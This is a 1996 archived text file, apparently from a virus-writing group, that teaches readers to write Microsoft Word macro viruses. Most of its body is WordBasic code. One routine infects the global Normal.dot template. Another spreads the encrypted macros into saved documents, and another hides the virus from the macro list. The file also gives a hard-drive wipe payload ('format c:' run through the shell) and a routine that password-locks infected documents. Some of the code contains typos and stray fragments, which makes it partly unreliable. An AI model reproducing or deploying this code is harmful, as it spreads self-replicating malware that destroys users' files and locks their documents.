home *** CD-ROM | disk | FTP | other *** search
/ Hackers Handbook - Millenium Edition / Hackers Handbook.iso / library / hack / vbb-macr.txt < prev    next >
Encoding:
Text File  |  1998-12-04  |  6.5 KB  |  227 lines

  1.             ***************************
  2.             *    THE MACRO VIRUS      *
  3.             *    WRITING TUTORIAL     *
  4.             *     PART 1          * 
  5.             ***************************
  6.             *              *
  7.             *   WRITTEN BY DARK NIGHT *
  8.             *       OF VBB      * 
  9.             *              *    
  10.             ***************************    
  11.  
  12.  
  13.  
  14. LEGALESE
  15. --------
  16.  
  17. I SHALL NOT BE HELD RESPONSIBLE FOR ANY DAMAGE CREATED BE DIRECT OR INDIRECT 
  18. USE OF THE PUBLICISED MATERIAL.  THIS DOCUMENT IS COPYRIGHT 1996 TO ME,
  19. DARK NIGHT OF VBB.  HEREWITH I GRANT ANYBODY LICENSE TO REDISTRIBUTE THIS
  20. DOCUMENT AS LONG AS IT IS KEPT IN WHOLE AND MY COPYRIGHT NOTICE IS NOT 
  21. REMOVED.  ALSO IF I FIND ANY LAMERS WHO JUST TAKE THE CODE PUBLISHED HERE
  22. AND SAY IT IS THEIR OWN I WILL SEE THAT THEY'LL BE PUNISHED.(BELIEVE IT OR 
  23. NOT :-))!!!
  24.  
  25.  
  26.  
  27. INTRODUCTION
  28. -------------
  29.  
  30. MANY OF YOU MAY BE WONDERING RIGHT NOW WHO THE HELL I AM AND WHO VBB IS.
  31. COME ON LAMERS!  GET ALIVE.  VBB IS ONE OF THE COOLEST VIRUS GROUPS AROUND.
  32. YOU CAN'T TELL ME YOU'VE NEVER HEARD OF US.  WELL, OK I'LL ADMIT IT.  WE'RE
  33. NOT THAT POPULAR YET, BUT THAT'LL COME.  SO FOR NOW HERE'S MY CONTRIBUTION
  34. TO THE GROUP AS THE LEADER.  WELCOME TO THE MACRO VIRUS WRITING TUTORIAL
  35. PART 1!  
  36.  
  37. ENJOY!!
  38.  
  39.  
  40. THE TOOLS
  41. ----------
  42.  
  43. FIRST OF ALL YOU'LL NEED MS WORD 6.0 OR UP(DUH), THEN YOU MAY WANT TO GET
  44. VBB'S MACRO DISASSEMBLER BY AURODREPH SO THAT YOU CAN STUDY ENCRYPTED MACROS.  
  45. ALSO YOU SHOULD MAKE BACK-UPS OF YOUR NORMAL.DOT TEMPLATE IN YOUR 
  46. WINWORD6\TEMPLATE\ DIRECTORY, AS THIS IS THE DOCUMENT COMMONLY INFECTED BY 
  47. MACRO VIRII.  SO WHATCH OUT.  ALSO I RECOMMEND TO HAVE AT LEAST A SMALL 
  48. KNOWLEDGE OF WORD BASIC, SO THAT YOU KIND A KNOW WHAT'S GOING ON.  WELL, 
  49. THAT'S IT.  YOU'VE MADE IT THIS FAR.  IT'S NOW TIME TO GET INTO THE MACRO 
  50. VIRUS GENERALS.
  51.  
  52.  
  53. THE GENERAL STUFF
  54. -----------------
  55.  
  56. MOST MACRO VIRII HAVE A PRETTY SET STRUCTURE.  THEY START OF WITH AN 
  57. AUTO-EXECUTING MACRO WHICH INFECTS THE NORMAL.DOT(GLOBAL) TEMPLATE.  THEN
  58. THEY HAVE SOME MACROS WHICH WILL INFECT THE FILES ON CERTAIN ACTIONS.  FOR
  59. EXAMPLE FileSaveAs, FileSave, FileOpen, ToolsMacros.  DOCUMENTS ARE INFECTED 
  60. THROUGH TRANSFERRING THE MACROS INTO THE DOCUMENT AND HAVING THEM EXECUTE THE
  61. NEXT TIME THE DOCUMENT IS OPENED.  A CODE FOR THE AUTOEXEC ROUTINE WOULD LOOK
  62. SOMETHING LIKE THIS:
  63.  
  64. 'ANYTHING AFTER THE ' ARE MY COMMENTS
  65.  
  66. Sub MAIN
  67.     On Error Goto Abort
  68.     iMacroCount = CountMacros(0, 0)
  69.     'CHECK TO SEE IF INFECTION EXISTS
  70.     For i = 1 To iMacroCount
  71.         If MacroName$(i, 0, 0) = "PayLoad" Then
  72.             bInstalled = - 1
  73.         'BY LOOKING FOT THE PAYLOAD MACRO
  74.         End If
  75.         If MacroName$(i, 0, 0) = "FileSaveAs" Then
  76.             bTooMuchTrouble = - 1
  77.         'BUT IF THE FILESAVEAS MACRO EXISTS THEN INFECTION IS
  78.         'TOO DIFICULT.
  79.         End If
  80.     Next i
  81.     If Not bInstalled And Not bTooMuchTrouble Then
  82.         'add FileSaveAs and copies of     AutoExec and FileSaveAs.
  83.         'Payload has no use except to check for infection.
  84.         'The ,1 encrypts all macros in their destination making
  85.         'them unreadble in Word.
  86.         iWW6IInstance = Val(GetDocumentVar$("WW6Infector"))
  87.         sMe$ = FileName$()
  88.         Macro$ = sMe$ + ":PayLoad"
  89.         MacroCopy Macro$, "Global:PayLoad", 1
  90.         Macro$ = sMe$ + ":FileOpen"
  91.         MacroCopy Macro$, "Global:FileOpen", 1
  92.         Macro$ = sMe$ + ":FileSaveAs"
  93.         MacroCopy Macro$, "Global:FileSaveAs", 1
  94.         Macro$ = sMe$ + ":AutoExec"
  95.         MacroCopy Macro$, "Global:AutoExec", 1
  96.         SetProfileString "WW6I", Str$(iWW6IInstance + 1)
  97.     End If
  98. Abort:
  99. End Sub
  100.  
  101.  
  102. THE SaveAs ROUTINE
  103. ------------------
  104.  
  105. THIS IS THE ROUTINE WHICH COPIES THE MACRO VIRUS INTO THE ACTIVE DOCUMENT 
  106. WHEN IT IS SAVED USING FILE/SAVE AS.  IT USES MUCH OF THE SAME TECHNIQUES AS 
  107. THE AutoExec ROUTINE.  HERE'S WHAT THE CODE SHOULD LOOK LIKE FOR THE SaveAs 
  108. ROUTINE:
  109.  
  110. 'YOU CAN ALWAYS USE THE ,1 AGAIN TO ENCRYPT MACROS.
  111.  
  112. Sub MAIN
  113. Dim dlg As FileSaveAs
  114. GetCurValues dlg
  115. Dialog dlg
  116. If (Dlg.Format = 0) Or (dlg.Format = 1) Then
  117.     MacroCopy "FileSaveAs", WindowName$() + ":FileSaveAs"
  118.     MacroCopy "FileSave ", WindowName$() + ":FileSave"
  119.     MacroCopy "PayLoad", WindowName$() + ":PayLoad"
  120.     MacroCopy "FileOpen", WindowName$() + ":FileOpen"
  121.     Dlg.Format = 1
  122. End If
  123. FileDaveAs dlg
  124. End Sub
  125.  
  126. SHORT, BUT IT WORKS WELL.  ALL THIS INFO, BELIEVE IT OR NOT, IS ENOUGH
  127. TO MAKE A SMALL AND BASIC MACRO VIRUS.
  128.  
  129.  
  130. SPECIAL ROUTINES
  131. ----------------
  132.  
  133. THERE ARE SEVERAL METHODS WHICH CAN BE USED TO HIDE YOUR VIRUS OR MAKE IT
  134. MORE EFFECTIVE.  FOR EXAMPLE, YOU CAN MAKE A MACRO TO HIDE YOUR VIRUS WHEN 
  135. SOMEBODY LOOKS IN TOOLS/MACRO.  THE CODE SHOULD LOOK SOMETHING LIKE THIS:
  136.  
  137. Sub MAIN
  138.         On Error Goto ErrorRoutine
  139.  
  140.         OldName$ = NomFichier$()
  141.  
  142.         If macros.bDebug Then
  143.                 MsgBox "start ToolsMacro"
  144.                 Dim dlg As OutilsMacro
  145.                 If macros.bDebug Then MsgBox "1"
  146.                 GetCurValues dlg
  147.                 If macros.bDebug Then MsgBox "2"
  148.                 On Error Goto Skip
  149.                 Dialog dlg
  150.                 OutilsMacro dlg
  151. Skip:
  152.         On Error Goto ErrorRoutine              
  153.         End If
  154.  
  155.         REM enable automacros
  156.         DisableAutoMacros 0
  157.  
  158.         macros.SavToGlobal(OldName$)
  159.         macros.objectiv
  160.         Goto Done
  161.  
  162. ErrorRoutine:
  163.         On Error Goto Done
  164.         If macros.bDebug Then
  165.                 MsgBox "error " + Str$(Err) + " occurred"
  166.         End If
  167.  
  168. Done:
  169. End Sub
  170.  
  171. ALSO YOU CAN INCLUDE EXERNAL SUBROUTINES.  FOR EXAMPLE, THE NUCLEAR VIRUS 
  172. TRIES TO COMPILE AND RUN AN EXTERNAL FILE-INFECTOR VIRUS.  OR SOME MACRO 
  173. TROJANS TRY TO FORMAT YOUR HARDDRIVE WHEN YOU OPEN A DOCUMENT.  AN EXAMPLE
  174. SUBROUTINE FOR AN UNCONDITIONAL FORMAT WOULD BE THIS:
  175.  
  176.     sCmd$ = "echo y|format c: /u"
  177.      Shell Environment$ ("COMSPEC") + "/c" + sCmd$, 0
  178.  
  179. ALSO YOU MAY WANT TO PUT A PASSWORD ONTO THE DOCUMENT THAT YOU'VE JUST 
  180. INFECTED OR WHEN YOU HAVE EXPERIENCED AN ERROR WHILE INFECTING AND THE 
  181. CURRENT SECOND IS 13.  TAKE A LOOK AT THIS EXAMPLE:
  182.  
  183. Sub MAIN
  184. On Error Goto ByeBye
  185.  
  186. .
  187. . 'Infection code
  188. .
  189. .
  190. .
  191. \/
  192.  
  193. ByeBye:
  194. If (second(Now()) = 13) Then
  195.     Dlg.Password = "Dark_Night" 'SETS PASSWORD TO DARK_NIGHT.  YOU CAN
  196.                     'ALSO SET A RANDOM PASSWORD  CODE SHALL
  197.                     'PRESENTED IN NEXT INSTALLMENT! :-D    
  198.  
  199. YOUR WORK
  200. ---------
  201.  
  202. I HAVE EXPLAINED THE BASIC KNOWLEDGE YOU NEED TO HAVE TO START 
  203. WRITING YOUR MACRO VIRUS.  IF ANYBODY RESPONDS TO THIS TUTORIAL, THEN
  204. I WILL GO INTO MORE DETAILS ABOUT THE DIFFERENT STRUCTURES AND POSSIBILLITIES
  205. OF MACRO VIRII.
  206.  
  207.  
  208.  
  209. INTERESTED?
  210. -----------
  211.  
  212. I HAVE NO IDEA IF ANYBODY WOULD BE INTERESTED IF I CONTINUE THIS TUTORIAL. 
  213. SO TO NOT MAKE MYSELF DO ALL THE WORK FOR NOTHING, I REQUEST THAT YOU PLEASE 
  214. DROP ME AN E-MAIL IF YOU WOULD BE INTERESTED IN ANY FURTHER EXPLINATION OF 
  215. MACRO VIRII.  I WILL THEN GLADLY CONTINUE THIS TUTORIAL OF MACRO VIRII FOR 
  216. YOU.  MY ADDRESS IS:
  217.  
  218. Dark_Night@ilf.net
  219.  
  220.                         Dark Night
  221.  
  222.  
  223.  
  224.  
  225.  
  226.  
  227.